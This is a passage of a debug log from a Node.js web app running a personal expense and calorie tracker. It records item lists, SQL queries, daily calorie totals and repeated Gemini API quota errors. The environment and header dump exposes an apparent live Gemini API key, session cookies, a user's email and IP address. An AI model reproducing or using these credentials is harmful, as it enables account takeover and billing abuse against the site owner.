  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T06:29:00.069Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T06:29:12.163Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T06:29:12.163Z server-connect:app Executing action step identify
2025-12-13T06:29:12.163Z server-connect:app options: { provider: 'security' }
2025-12-13T06:29:12.163Z server-connect:output identity: 1
2025-12-13T06:29:12.163Z server-connect:app Executing action step restrict
2025-12-13T06:29:12.163Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T06:29:12.164Z server-connect:output restrict: undefined
2025-12-13T06:29:12.164Z server-connect:router Render template calorie-tracker
2025-12-13T06:29:12.164Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T06:29:12.386Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T06:29:12.386Z server-connect:app Executing action step identify
2025-12-13T06:29:12.386Z server-connect:app options: { provider: 'security' }
2025-12-13T06:29:12.387Z server-connect:output identity: 1
2025-12-13T06:29:12.387Z server-connect:app Executing action step restrict
2025-12-13T06:29:12.387Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:29:12.387Z server-connect:output restrict: undefined
2025-12-13T06:29:12.387Z server-connect:app Executing action step single
2025-12-13T06:29:12.387Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T06:29:12.389Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T06:29:12.389Z server-connect:app Executing action step select
2025-12-13T06:29:12.389Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T06:29:12.425Z server-connect:output item_list: []
2025-12-13T06:29:12.425Z server-connect:app Executing action step setvalue
2025-12-13T06:29:12.425Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T06:29:12.425Z server-connect:output var_total: 0
2025-12-13T06:29:12.425Z server-connect:app Executing action step setvalue
2025-12-13T06:29:12.425Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T06:29:12.425Z server-connect:output var_consumed: 0
2025-12-13T06:29:12.425Z server-connect:app Executing action step setvalue
2025-12-13T06:29:12.425Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T06:29:12.425Z server-connect:output var_deficit: 2400
2025-12-13T06:29:12.425Z server-connect:app Executing action step custom
2025-12-13T06:29:12.425Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T06:29:12.426Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  }
]
2025-12-13T06:29:16.552Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T06:29:16.553Z server-connect:app Executing action step identify
2025-12-13T06:29:16.553Z server-connect:app options: { provider: 'security' }
2025-12-13T06:29:16.553Z server-connect:output identity: 1
2025-12-13T06:29:16.553Z server-connect:app Executing action step restrict
2025-12-13T06:29:16.553Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:29:16.554Z server-connect:output restrict: undefined
2025-12-13T06:29:16.554Z server-connect:app Executing action step processWithGemini
2025-12-13T06:29:16.554Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
Error processing calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 43.382814244s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"43s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
2025-12-13T06:29:16.641Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 43.382814244s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"43s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T06:29:16.641Z server-connect:server Got error? Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 43.382814244s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"43s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T06:33:53.188Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T06:33:53.188Z server-connect:app Executing action step identify
2025-12-13T06:33:53.188Z server-connect:app options: { provider: 'security' }
2025-12-13T06:33:53.188Z server-connect:output identity: 1
2025-12-13T06:33:53.188Z server-connect:app Executing action step restrict
2025-12-13T06:33:53.188Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:33:53.190Z server-connect:output restrict: undefined
2025-12-13T06:33:53.190Z server-connect:app Executing action step processWithGemini
2025-12-13T06:33:53.190Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
Error processing calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 6.745937553s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            